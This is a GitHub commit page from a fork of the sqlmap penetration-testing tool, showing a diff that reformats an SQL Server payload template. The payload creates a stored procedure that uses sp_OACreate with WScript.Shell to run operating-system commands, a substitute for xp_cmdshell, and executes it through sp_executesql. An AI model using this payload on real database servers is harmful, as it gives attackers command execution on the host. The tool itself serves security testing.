forked from sqlmapproject/sqlmap
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
1 addition
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,8 +1,3 @@ | ||
DECLARE @%RANDSTR% nvarchar(999); | ||
set @%RANDSTR%=' | ||
CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int | ||
EXEC sp_OACreate ''WScript.Shell'',@ID OUT | ||
EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 | ||
EXEC sp_OADestroy @ID'; | ||
set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; | ||
EXEC master..sp_executesql @%RANDSTR% | ||
|